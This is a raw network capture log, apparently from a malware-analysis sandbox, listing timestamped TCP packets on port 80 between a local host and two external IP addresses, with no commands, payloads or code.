May 23, 2022 09:56:41.887556076 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887587070 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887594938 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887600899 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887626886 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.887963057 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.887995005 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888004065 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888027906 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888034105 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888060093 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888081074 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888086081 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888098955 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888133049 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888277054 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888319969 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888364077 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888395071 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888403893 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888427973 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888433933 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888459921 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888464928 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888500929 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888511896 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888542891 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888555050 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888573885 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888590097 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888607025 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888617039 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888634920 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888643980 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888669014 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888676882 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888700962 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.888706923 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.888740063 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.890089035 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.890134096 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.890219927 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.891063929 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.949121952 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.949182987 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.949978113 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950028896 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950031996 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950072050 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950078964 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950120926 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950124025 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950164080 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950170994 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950207949 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950217009 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950254917 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950263977 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950300932 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950429916 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950464964 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950474024 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950511932 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950520039 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950556993 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950742960 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950783014 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950819969 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950866938 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.950891018 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950906038 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.950954914 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951076984 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951113939 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951117039 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951144934 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951149940 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951178074 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951179981 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951210976 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951212883 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951244116 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951246023 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951277971 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951277971 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951313019 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951313019 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951344013 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951349020 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951376915 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951379061 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951411009 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951431990 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951452017 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951477051 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951486111 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.951491117 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951519966 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.951668978 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.952496052 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.952544928 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.952567101 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.952580929 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.952580929 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.952615976 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.952624083 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.952650070 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.952651024 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.952685118 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953311920 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953382015 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953383923 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953413010 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953422070 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953435898 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953444958 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953459978 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953480005 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953491926 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953494072 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953528881 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953532934 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953564882 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953564882 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953597069 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953605890 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953632116 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953636885 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953665972 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953666925 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953700066 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953701973 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953732967 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953736067 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953763008 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953769922 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953794003 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:41.953795910 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.953835011 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.964036942 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:41.964390039 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:42.011426926 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:42.011451960 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:42.011470079 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:42.011486053 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:42.011487961 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:42.011516094 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:42.011518955 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:43.953293085 CEST	80	49174	185.86.13.242	192.168.2.22
May 23, 2022 09:56:43.953413010 CEST	49174	80	192.168.2.22	185.86.13.242
May 23, 2022 09:56:44.557399035 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:44.726119041 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:44.726304054 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:44.727391005 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:44.910235882 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:44.910299063 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:44.910348892 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:44.910352945 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:44.910408020 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:44.910475016 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:44.910485029 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:44.910790920 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.079282045 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.079307079 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.079324007 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.079339981 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.079356909 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.079363108 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.079374075 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.079385996 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.079408884 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.079413891 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.079428911 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.079447985 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.079464912 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248399019 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248433113 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248459101 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248495102 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248513937 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248521090 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248532057 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248547077 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248550892 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248564005 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248570919 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248584032 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248598099 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248611927 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248636961 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248662949 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248687983 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248707056 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248713017 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248727083 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248738050 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248754025 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248764038 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248778105 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248790026 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248802900 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248816013 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248831987 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248841047 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.248857975 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.248876095 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.249438047 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417381048 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417411089 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417429924 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417445898 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417464018 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417479992 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417481899 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417496920 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417501926 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417511940 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417540073 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417550087 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417567015 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417583942 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417588949 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417601109 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417613029 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417618036 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417634964 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417639017 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417651892 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417659044 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417670012 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417675972 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417687893 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417695045 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417705059 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417712927 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417721987 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417736053 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417740107 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417756081 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417758942 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417762041 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417773008 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417782068 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417792082 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417799950 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417810917 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417819977 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417830944 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417840004 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417849064 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417859077 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417866945 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417867899 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417882919 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417886972 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417900085 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417901993 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417917013 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417922974 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417934895 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417943001 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417952061 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417958021 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417968988 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.417975903 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.417992115 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.418008089 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.418612957 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586342096 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586385965 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586411953 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586421013 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586438894 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586450100 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586455107 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586466074 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586467981 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586493969 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586508989 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586534977 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586688995 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586718082 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586739063 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586745024 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586772919 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586800098 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586812973 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586818933 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586822033 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586828947 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586844921 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586872101 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586925983 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586955070 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586966991 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.586981058 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.586992979 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587009907 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587022066 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587038994 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587049007 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587065935 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587078094 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587094069 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587105036 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587121964 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587131977 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587148905 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587162018 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587177038 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587187052 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587203979 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587217093 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587233067 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587244034 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587260962 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587275028 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587287903 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587300062 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587315083 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587327957 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587343931 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587357998 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587382078 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587388992 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587419033 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587426901 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587467909 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587496042 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587523937 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587552071 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587555885 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587569952 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587573051 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587579966 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587588072 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587606907 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587620020 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587635040 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587650061 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587662935 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587675095 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587691069 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.587703943 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.587732077 CEST	49175	80	192.168.2.22	103.133.214.149
May 23, 2022 09:56:45.588888884 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.588917971 CEST	80	49175	103.133.214.149	192.168.2.22
May 23, 2022 09:56:45.588933945 CEST	49175	80	192.168.2.22	103.133.214.149
